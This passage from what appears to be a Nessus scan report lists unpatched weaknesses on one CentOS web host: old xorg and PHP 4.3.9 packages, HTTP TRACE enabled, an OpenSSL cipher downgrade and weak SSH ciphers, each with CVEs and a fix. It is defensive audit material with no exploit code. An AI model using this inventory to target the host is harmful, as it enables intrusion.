Should be : xorg-x11-font-utils-6.8.2-1.EL.19
```

```
Remote package installed : xorg-x11-libs-6.8.2-1.EL.18
Should be : xorg-x11-libs-6.8.2-1.EL.19
```

```
Remote package installed : xorg-x11-xauth-6.8.2-1.EL.18
Should be : xorg-x11-xauth-6.8.2-1.EL.19
```

```
Remote package installed : xorg-x11-xfs-6.8.2-1.EL.18
Should be : xorg-x11-xfs-6.8.2-1.EL.19
```

26076 - CentOS 4 : xorg-x11 (CESA-2007:0898)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated X.org packages that correct a flaw in X.Org's composite extension are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

X.org is an open source implementation of the X Window System. It provides the basic low-level functionality that full-fledged graphical user interfaces are designed upon.

A flaw was found in the way X.Org's composite extension handles 32 bit color depth windows while running in 16 bit color depth mode. If an X.org server has enabled the composite extension, it may be possible for a malicious authorized client to cause a denial of service (crash) or potentially execute arbitrary code with the privileges of the X.org server. (CVE-2007-4730)

Please note this flaw can only be triggered when using a compositing window manager. Red Hat Enterprise Linux 4 does not ship with a compositing window manager.

Users of X.org should upgrade to these updated packages, which contain a backported patch and are not vulnerable to these issues.

See Also

<http://www.nessus.org/u?a0fcc388>
<http://www.nessus.org/u?4fff4337>

<http://www.nessus.org/u?18ebb116>

Solution

Update the affected xorg-x11 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:L/AC:L/Au:S/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	25606
CVE	CVE-2007-4730
XREF	RHSA:2007:0898
XREF	CWE:119

Plugin Information

Published: 2007/09/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : xorg-x11-Mesa-libGL-6.8.2-1.EL.18
Should be : xorg-x11-Mesa-libGL-6.8.2-1.EL.31
```

```
Remote package installed : xorg-x11-font-utils-6.8.2-1.EL.18
Should be : xorg-x11-font-utils-6.8.2-1.EL.31
```

```
Remote package installed : xorg-x11-libs-6.8.2-1.EL.18
Should be : xorg-x11-libs-6.8.2-1.EL.31
```

```
Remote package installed : xorg-x11-xauth-6.8.2-1.EL.18
Should be : xorg-x11-xauth-6.8.2-1.EL.31
```

```
Remote package installed : xorg-x11-xfs-6.8.2-1.EL.18
Should be : xorg-x11-xfs-6.8.2-1.EL.31
```

11213 - HTTP TRACE / TRACK Methods Allowed

Synopsis

Debugging functions are enabled on the remote web server.

Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

See Also

<http://www.nessus.org/u?e979b5cb>
<http://www.apacheweek.com/issues/03-01-24>
<https://download.oracle.com/sunalerts/1000718.1.html>

Solution

Disable these HTTP methods. Refer to the plugin output for more information.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	9506
BID	9561
BID	11604
BID	33374
BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

Plugin Information

Published: 2003/01/23, Modified: 2024/04/09

Plugin Output

tcp/80/www

To disable these methods, add the following lines for each virtual host in your configuration file :

```
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
```

Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2 support disabling the TRACE method natively via the 'TraceEnable' directive.

```
Nessus sent the following TRACE request : \n\n----- snip ----- \nTRACE
/Nessus674172282.html HTTP/1.1
Connection: Close
Host: 10.136.108.237
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, image/png, /*
Accept-Language: en
Accept-Charset: iso-8859-1,* ,utf-8

----- snip ----- \n\nand received the following response from the remote server
:\n\n----- snip ----- \nHTTP/1.1 200 OK
Date: Wed, 12 Nov 2025 15:58:37 GMT
Server: Apache/2.0.52 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: message/http
```

```
TRACE /Nessus674172282.html HTTP/1.1
Connection: Close
Host: 10.136.108.237
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, image/png, /*
Accept-Language: en
Accept-Charset: iso-8859-1,* ,utf-8

----- snip ----- \n
```

11213 - HTTP TRACE / TRACK Methods Allowed**Synopsis**

Debugging functions are enabled on the remote web server.

Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

See Also

<http://www.nessus.org/u?e979b5cb>
<http://www.apacheweek.com/issues/03-01-24>

<https://download.oracle.com/sunalerts/1000718.1.html>

Solution

Disable these HTTP methods. Refer to the plugin output for more information.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	9506
BID	9561
BID	11604
BID	33374
BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

Plugin Information

Published: 2003/01/23, Modified: 2024/04/09

Plugin Output

tcp/443/www

To disable these methods, add the following lines for each virtual host in your configuration file :

```
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
```

Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2 support disabling the TRACE method natively via the 'TraceEnable' directive.

```
Nessus sent the following TRACE request : \n----- snip ----- \nTRACE
/Nessus597079971.html HTTP/1.1
Connection: Close
Host: 10.136.108.237
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, image/png, /*
Accept-Language: en
Accept-Charset: iso-8859-1,* ,utf-8
```

```
----- snip ----- \n\nand received the following response from the remote server
:\n\n----- snip ----- \nHTTP/1.1 200 OK
Date: Wed, 12 Nov 2025 15:58:37 GMT
Server: Apache/2.0.52 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: message/http
```

```
TRACE /Nessus597079971.html HTTP/1.1
Connection: Close
Host: 10.136.108.237
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, image/png, /*
Accept-Language: en
Accept-Charset: iso-8859-1,* ,utf-8
```

----- snip ----- \n

51892 - OpenSSL SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG Session Resume Ciphersuite Downgrade Issue

Synopsis

The remote host allows resuming SSL sessions with a weaker cipher than the one originally negotiated.

Description

The version of OpenSSL on the remote host has been shown to allow resuming session with a weaker cipher than was used when the session was initiated. This means that an attacker that sees (i.e., by sniffing) the start of an SSL connection can manipulate the OpenSSL session cache to cause subsequent resumptions of that session to use a weaker cipher chosen by the attacker.

Note that other SSL implementations may also be affected by this vulnerability.

See Also

<https://www.openssl.org/news/secadv/20101202.txt>

Solution

Upgrade to OpenSSL 0.9.8q / 1.0.0.c or later, or contact your vendor for a patch.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	45164
CVE	CVE-2010-4180

Plugin Information

Published: 2011/02/07, Modified: 2022/04/11

Plugin Output

tcp/443/www

The server allowed the following session over TLSv1 to be resumed as follows :

```
Session ID : 5c0b53f4835426bcd21c31c6c52382b0d5c881f98791e3ca079030ae7a6af9c
Initial Cipher : TLS1_CK_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Resumed Cipher : TLS1_CK_DHE_RSA_WITH_DES_CBC_SHA (0x0015)
```

39480 - PHP < 5.2.10 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.10. Such versions are reportedly affected by multiple vulnerabilities :

- Sufficient checks are not performed on fields reserved for offsets in function 'exif_read_data()'. Successful exploitation of this issue could result in a denial of service condition. (bug 48378)
- Provided 'safe_mode_exec_dir' is not set (not set by default), it may be possible to bypass 'safe_mode' restrictions by preceding a backslash in functions such as 'exec()', 'system()', 'shell_exec()', 'passthru()' and 'popen()' on a system running PHP on Windows. (bug 45997)

See Also

<https://bugs.php.net/bug.php?id=45997>

<https://bugs.php.net/bug.php?id=48378>
http://www.php.net/releases/5_2_10.php
<http://www.php.net/ChangeLog-5.php#5.2.10>

Solution

Upgrade to PHP version 5.2.10 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	35435
BID	35440
CVE	CVE-2009-2687
XREF	SECUNIA:35441
XREF	CWE:20

Plugin Information

Published: 2009/06/22, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.10
```

39480 - PHP < 5.2.10 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.10. Such versions are reportedly affected by multiple vulnerabilities :

- Sufficient checks are not performed on fields reserved for offsets in function 'exif_read_data()'. Successful exploitation of this issue could result in a denial of service condition. (bug 48378)
- Provided 'safe_mode_exec_dir' is not set (not set by default), it may be possible to bypass 'safe_mode' restrictions by preceding a backslash in functions such as 'exec()', 'system()', 'shell_exec()', 'passthru()' and 'popen()' on a system running PHP on Windows. (bug 45997)

See Also

<https://bugs.php.net/bug.php?id=45997>
<https://bugs.php.net/bug.php?id=48378>
http://www.php.net/releases/5_2_10.php
<http://www.php.net/ChangeLog-5.php#5.2.10>

Solution

Upgrade to PHP version 5.2.10 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	35435
BID	35440
CVE	CVE-2009-2687
XREF	SECUNIA:35441
XREF	CWE:20

Plugin Information

Published: 2009/06/22, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.10
```

43351 - PHP < 5.2.12 Multiple Vulnerabilities**Synopsis**

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.12. Such versions may be affected by several security issues :

- It is possible to bypass the 'safe_mode' configuration setting using 'tempnam()'. (CVE-2009-3557)
- It is possible to bypass the 'open_basedir' configuration setting using 'posix_mkfifo()'. (CVE-2009-3558)
- Provided file uploading is enabled (it is by default), an attacker can upload files using a POST request with 'multipart/form-data' content even if the target script doesn't actually support file uploads per se. By supplying a large number (15,000+) of files, an attacker could cause the web server to stop responding while it processes the file list. (CVE-2009-4017)
- Missing protection for '\$_SESSION' from interrupt corruption and improved 'session.save_path' check. (CVE-2009-4143)
- Insufficient input string validation in the 'htmlspecialchars()' function. (CVE-2009-4142)

See Also

<http://www.nessus.org/u?57f2d08f>
http://www.php.net/releases/5_2_12.php
<http://www.php.net/ChangeLog-5.php#5.2.12>

Solution

Upgrade to PHP version 5.2.12 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	37389
BID	37390
CVE	CVE-2009-3557
CVE	CVE-2009-3558
CVE	CVE-2009-4017
CVE	CVE-2009-4142
CVE	CVE-2009-4143
XREF	SECUNIA:37821
XREF	CWE:79

XREF

CWE:264

Plugin Information

Published: 2009/12/18, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.12
```

43351 - PHP < 5.2.12 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.12. Such versions may be affected by several security issues :

- It is possible to bypass the 'safe_mode' configuration setting using 'tempnam()'. (CVE-2009-3557)
- It is possible to bypass the 'open_basedir' configuration setting using 'posix_mkfifo()'. (CVE-2009-3558)
- Provided file uploading is enabled (it is by default), an attacker can upload files using a POST request with 'multipart/form-data' content even if the target script doesn't actually support file uploads per se. By supplying a large number (15,000+) of files, an attacker could cause the web server to stop responding while it processes the file list. (CVE-2009-4017)
- Missing protection for '\$_SESSION' from interrupt corruption and improved 'session.save_path' check.
(CVE-2009-4143)
- Insufficient input string validation in the 'htmlspecialchars()' function. (CVE-2009-4142)

See Also

<http://www.nessus.org/u?57f2d08f>
http://www.php.net/releases/5_2_12.php
<http://www.php.net/ChangeLog-5.php#5.2.12>

Solution

Upgrade to PHP version 5.2.12 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	37389
BID	37390
CVE	CVE-2009-3557
CVE	CVE-2009-3558
CVE	CVE-2009-4017
CVE	CVE-2009-4142
CVE	CVE-2009-4143
XREF	SECUNIA:37821
XREF	CWE:79
XREF	CWE:264

Plugin Information

Published: 2009/12/18, Modified: 2025/05/26

Plugin Output

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.12

35750 - PHP < 5.2.9 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.9. Such versions may be affected by several security issues :

- Background color is not correctly validated with a non true color image in function 'imagerotate()'. (CVE-2008-5498)
- A denial of service condition can be triggered by trying to extract zip files that contain files with relative paths in file or directory names.
- Function 'explode()' is affected by an unspecified vulnerability.
- It may be possible to trigger a segfault by passing a specially crafted string to function 'json_decode()'.
- Function 'xml_error_string()' is affected by a flaw which results in messages being off by one.

See Also

<http://news.php.net/php.internals/42762>
http://www.php.net/releases/5_2_9.php
<http://www.php.net/ChangeLog-5.php#5.2.9>

Solution

Upgrade to PHP version 5.2.9 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	33002
BID	33927
CVE	CVE-2008-5498
CVE	CVE-2009-1271
CVE	CVE-2009-1272
XREF	SECUNIA:34081
XREF	CWE:20
XREF	CWE:200

Plugin Information

Published: 2009/02/27, Modified: 2025/05/26

Plugin Output

tcp/80/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.9

35750 - PHP < 5.2.9 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.9. Such versions may be affected by several security issues :

- Background color is not correctly validated with a non true color image in function 'imagerotate()'. (CVE-2008-5498)
- A denial of service condition can be triggered by trying to extract zip files that contain files with relative paths in file or directory names.
- Function 'explode()' is affected by an unspecified vulnerability.
- It may be possible to trigger a segfault by passing a specially crafted string to function 'json_decode()'.
- Function 'xml_error_string()' is affected by a flaw which results in messages being off by one.

See Also

<http://news.php.net/php.internals/42762>

http://www.php.net/releases/5_2_9.php

<http://www.php.net/ChangeLog-5.php#5.2.9>

Solution

Upgrade to PHP version 5.2.9 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	33002
BID	33927
CVE	CVE-2008-5498
CVE	CVE-2009-1271
CVE	CVE-2009-1272
XREF	SECUNIA:34081
XREF	CWE:20
XREF	CWE:200

Plugin Information

Published: 2009/02/27, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.9
```

58966 - PHP < 5.3.11 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is earlier than 5.3.11, and as such is potentially affected by multiple vulnerabilities :

- During the import of environment variables, temporary changes to the 'magic_quotes_gpc' directive are not handled properly. This can lower the difficulty for SQL injection attacks. (CVE-2012-0831)
- The '\$_FILES' variable can be corrupted because the names of uploaded files are not properly validated. (CVE-2012-1172)

- The 'open_basedir' directive is not properly handled by the functions 'readline_write_history' and 'readline_read_history'.
- The 'header()' function does not detect multi-line headers with a CR. (Bug #60227 / CVE-2011-1398)

See Also

<http://www.nessus.org/u?e81d4026>
<https://bugs.php.net/bug.php?id=61043>
<https://bugs.php.net/bug.php?id=54374>
<https://bugs.php.net/bug.php?id=60227>
<https://marc.info/?l=oss-security&m=134626481806571&w=2>
<http://www.php.net/archive/2012.php#id2012-04-26-1>
<http://www.php.net/ChangeLog-5.php#5.3.11>

Solution

Upgrade to PHP version 5.3.11 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	51954
BID	53403
BID	55297
CVE	CVE-2011-1398
CVE	CVE-2012-0831
CVE	CVE-2012-1172

Plugin Information

Published: 2012/05/02, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.11
```

58966 - PHP < 5.3.11 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is earlier than 5.3.11, and as such is potentially affected by multiple vulnerabilities :

- During the import of environment variables, temporary changes to the 'magic_quotes_gpc' directive are not handled properly. This can lower the difficulty for SQL injection attacks. (CVE-2012-0831)
- The '\$_FILES' variable can be corrupted because the names of uploaded files are not properly validated. (CVE-2012-1172)
- The 'open_basedir' directive is not properly handled by the functions 'readline_write_history' and 'readline_read_history'.
- The 'header()' function does not detect multi-line headers with a CR. (Bug #60227 / CVE-2011-1398)

See Also

<http://www.nessus.org/u?e81d4026>
<https://bugs.php.net/bug.php?id=61043>
<https://bugs.php.net/bug.php?id=54374>
<https://bugs.php.net/bug.php?id=60227>

<https://marc.info/?l=oss-security&m=134626481806571&w=2>
<http://www.php.net/archive/2012.php?id=2012-04-26-1>
<http://www.php.net/ChangeLog-5.php#5.3.11>

Solution

Upgrade to PHP version 5.3.11 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	51954
BID	53403
BID	55297
CVE	CVE-2011-1398
CVE	CVE-2012-0831
CVE	CVE-2012-1172

Plugin Information

Published: 2012/05/02, Modified: 2025/05/26

Plugin Output

tcp/443/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.11

44921 - PHP < 5.3.2 / 5.2.13 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.3.2 / 5.2.13. Such versions may be affected by several security issues :

- Directory paths not ending with '/' may not be correctly validated inside 'tempnam()' in 'safe_mode' configuration.
- It may be possible to bypass the 'open_basedir' / 'safe_mode' configuration restrictions due to an error in session extensions.
- An unspecified vulnerability affects the LCG entropy.

See Also

http://securityreason.com/achievement_securityalert/82
<http://securityreason.com/securityalert/7008>
<https://seclists.org/fulldisclosure/2010/Feb/208>
http://www.php.net/releases/5_3_2.php
<http://www.php.net/ChangeLog-5.php#5.3.2>
http://www.php.net/releases/5_2_13.php
<http://www.php.net/ChangeLog-5.php#5.2.13>

Solution

Upgrade to PHP version 5.3.2 / 5.2.13 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	38182
BID	38430
BID	38431
CVE	CVE-2010-1128
CVE	CVE-2010-1129
CVE	CVE-2010-1130
XREF	SECUNIA:38708

Plugin Information

Published: 2010/02/26, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.2 / 5.2.13
```

44921 - PHP < 5.3.2 / 5.2.13 Multiple Vulnerabilities**Synopsis**

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.3.2 / 5.2.13. Such versions may be affected by several security issues :

- Directory paths not ending with '/' may not be correctly validated inside 'tempnam()' in 'safe_mode' configuration.
- It may be possible to bypass the 'open_basedir' / 'safe_mode' configuration restrictions due to an error in session extensions.
- An unspecified vulnerability affects the LCG entropy.

See Also

http://securityreason.com/achievement_securityalert/82
<http://securityreason.com/securityalert/7008>
<https://seclists.org/fulldisclosure/2010/Feb/208>
http://www.php.net/releases/5_3_2.php
<http://www.php.net/ChangeLog-5.php#5.3.2>
http://www.php.net/releases/5_2_13.php
<http://www.php.net/ChangeLog-5.php#5.2.13>

Solution

Upgrade to PHP version 5.3.2 / 5.2.13 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	38182
BID	38430
BID	38431
CVE	CVE-2010-1128
CVE	CVE-2010-1129
CVE	CVE-2010-1130
XREF	SECUNIA:38708

Plugin Information

Published: 2010/02/26, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.2 / 5.2.13
```

142591 - PHP < 7.3.24 Multiple Vulnerabilities**Synopsis**

The version of PHP running on the remote web server is affected by multiple vulnerabilities.

Description

According to its self-reported version number, the version of PHP running on the remote web server is prior to 7.3.24. It is, therefore affected by multiple vulnerabilities.

See Also

<https://www.php.net/ChangeLog-7.php#7.3.24>

Solution

Upgrade to PHP version 7.3.24 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

STIG Severity

I

References

XREF IAVA:2020-A-0510-S

Plugin Information

Published: 2020/11/06, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
URL : http://10.136.108.237/ (4.3.9 under X-Powered-By: PHP/4.3.9)
Installed version : 4.3.9
Fixed version : 7.3.24
```

142591 - PHP < 7.3.24 Multiple Vulnerabilities**Synopsis**

The version of PHP running on the remote web server is affected by multiple vulnerabilities.

Description

According to its self-reported version number, the version of PHP running on the remote web server is prior to 7.3.24. It is, therefore affected by multiple vulnerabilities.

See Also

<https://www.php.net/ChangeLog-7.php#7.3.24>

Solution

Upgrade to PHP version 7.3.24 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

STIG Severity

I

References

XREF IAVA:2020-A-0510-S

Plugin Information

Published: 2020/11/06, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
URL : https://10.136.108.237/ (4.3.9 under X-Powered-By: PHP/4.3.9)
Installed version : 4.3.9
Fixed version : 7.3.24
```

152853 - PHP < 7.3.28 Email Header Injection

Synopsis

The version of PHP running on the remote web server is affected by an email header injection vulnerability.

Description

According to its self-reported version number, the version of PHP running on the remote web server is prior to 7.3.28. It is, therefore affected by an email header injection vulnerability, due to a failure to properly handle CR-LF sequences in header fields. An unauthenticated, remote attacker can exploit this, by inserting line feed characters into email headers, to gain full control of email header content.

See Also

<https://www.php.net/ChangeLog-7.php#7.3.28>

Solution

Upgrade to PHP version 7.3.28 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2021/08/26, Modified: 2025/05/26

Plugin Output

tcp/80/www

URL : <http://10.136.108.237/> (4.3.9 under X-Powered-By: PHP/4.3.9)
Installed version : 4.3.9
Fixed version : 7.3.28

152853 - PHP < 7.3.28 Email Header Injection

Synopsis

The version of PHP running on the remote web server is affected by an email header injection vulnerability.

Description

According to its self-reported version number, the version of PHP running on the remote web server is prior to 7.3.28. It is, therefore affected by an email header injection vulnerability, due to a failure to properly handle CR-LF sequences in header fields. An unauthenticated, remote attacker can exploit this, by inserting line feed characters into email headers, to gain full control of email header content.

See Also

<https://www.php.net/ChangeLog-7.php#7.3.28>

Solution

Upgrade to PHP version 7.3.28 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2021/08/26, Modified: 2025/05/26

Plugin Output

tcp/443/www

URL : <https://10.136.108.237/> (4.3.9 under X-Powered-By: PHP/4.3.9)
Installed version : 4.3.9
Fixed version : 7.3.28

17687 - PHP Multiple Image Processing Functions File Handling DoS

Synopsis

The remote web server is prone to denial of service attacks.

Description

According to its banner, the version of PHP installed on the remote host is vulnerable to a denial of service attack due to its failure to properly validate file data in the routines 'php_handle_iff' and 'php_handle_jpeg', which are called by the PHP function 'getimagesize'. Using a specially crafted image file, an attacker can trigger an infinite loop when 'getimagesize' is called, perhaps even remotely in the cases where image uploads are allowed.

See Also

<http://www.nessus.org/u?9ad00097>
<https://www.securityfocus.com/archive/1/394797>
http://www.php.net/release_4_3_11.php

Solution

Upgrade to PHP 4.3.11 / 5.0.4 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

5.4 (CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

4.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	12962
BID	12963
CVE	CVE-2005-0524
CVE	CVE-2005-0525

Plugin Information

Published: 2005/04/02, Modified: 2024/11/22

Plugin Output

tcp/80/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.3.11 / 5.0.4

17687 - PHP Multiple Image Processing Functions File Handling DoS**Synopsis**

The remote web server is prone to denial of service attacks.

Description

According to its banner, the version of PHP installed on the remote host is vulnerable to a denial of service attack due to its failure to properly validate file data in the routines 'php_handle_iff' and 'php_handle_jpeg', which are called by the PHP function 'getimagesize'. Using a specially crafted image file, an attacker can trigger an infinite loop when 'getimagesize' is called, perhaps even remotely in the cases where image uploads are allowed.

See Also

<http://www.nessus.org/u?9ad00097>
<https://www.securityfocus.com/archive/1/394797>
http://www.php.net/release_4_3_11.php

Solution

Upgrade to PHP 4.3.11 / 5.0.4 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

5.4 (CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

4.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	12962
BID	12963
CVE	CVE-2005-0524
CVE	CVE-2005-0525

Plugin Information

Published: 2005/04/02, Modified: 2024/11/22

Plugin Output

tcp/443/www

Version source : X-Powered-By: PHP/4.3.9

Installed version : 4.3.9
Fixed version : 4.3.11 / 5.0.4

90317 - SSH Weak Algorithms Supported

Synopsis

The remote SSH server is configured to allow weak encryption algorithms or no algorithm at all.

Description

Nessus has detected that the remote SSH server is configured to use the Arcfour stream cipher or no cipher at all. RFC 4253 advises against using Arcfour due to an issue with weak keys.

See Also

<https://tools.ietf.org/html/rfc4253#section-6.3>

Solution

Contact the vendor or consult product documentation to remove the weak ciphers.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2016/04/04, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

The following weak server-to-client encryption algorithms are supported :

